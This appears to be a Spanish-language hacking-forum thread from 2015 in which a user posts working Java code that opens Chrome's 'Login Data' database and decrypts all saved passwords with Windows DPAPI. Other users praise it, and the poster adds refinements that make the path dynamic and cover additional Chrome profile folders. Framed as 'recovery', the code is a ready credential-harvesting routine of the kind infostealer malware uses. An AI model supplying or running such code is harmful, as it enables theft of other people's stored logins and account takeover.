Página 1 de 1

Google Chrome Recovery

Publicado: 02 Jul 2015, 23:31
por adwind
Descarga e importa las siguientes librerias

-JNA-4.1.0.jar
-jna-platform-4.1.0.jar
-sqlite-jdbc-3.8.7.jar
Author: Yo

Este codigo sirve para obtener las contraseñas de todos los anvegadores que usen chrominium como base, como el comodo browser, etc. Solo funciona en windows.
import com.sun.jna.platform.win32.Crypt32Util;
import com.sun.jna.platform.win32.WinCrypt;
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
 
public class ChromePasswordRecovery {
 
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
 
        Class.forName("org.sqlite.JDBC");
        System.out.println("CHROME....---------");
        File CHROMEW = new File("C:\\Users\\Username\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
        Connection conexion = DriverManager.getConnection("jdbc:sqlite:" + CHROMEW.getAbsolutePath());
        Statement est = conexion.createStatement();
        ResultSet rs = est.executeQuery("SELECT * FROM LOGINS;");
        while (rs.next()) {
            System.out.println(rs.getString("origin_url"));
            System.out.println(rs.getString("username_value"));
 
            byte[] cryptUnprotectData = Crypt32Util.cryptUnprotectData(rs.getBytes("password_value"));
            System.out.println(new String(cryptUnprotectData));
            System.out.println("\n");
 
        }
        }
    }

Re: Google Chrome Recovery

Publicado: 03 Jul 2015, 07:01
por crack81
Gracias adwind tu codigo anda de perlas lo unico diferente fue la ruta pero lo demas bien.

Re: Google Chrome Recovery

Publicado: 03 Jul 2015, 16:16
por Pink
Gracias adwind. maluco pusiste la ruta dinámica. ¬¬


Saludos

Re: Google Chrome Recovery

Publicado: 06 Jul 2015, 23:32
por Slek
Muy buena amigo!

Saludos :D

Re: Google Chrome Recovery

Publicado: 07 Jul 2015, 06:24
por _ROOTt_
Gracias por el aporte! adwind

Re: Google Chrome Recovery

Publicado: 09 Jul 2015, 23:14
por adwind
C:\\Users\\Username\\AppData\\Local por esto System.getenv("LOCALAPPDATA") para que sea dinámico.

Re: Google Chrome Recovery

Publicado: 05 Oct 2015, 20:55
por adwind
Hay un pequeño detalle con este code en la parte de la carpeta "Default" he visto que cuando usas los perfiles de chrome es decir que te logueas con tu correo las contraseñas se almacenan en las carpetas Profile 1, Profile 2 etc y asi hasta el N número de correos logueados, asi que pueden checar por esas carpetas igualmente.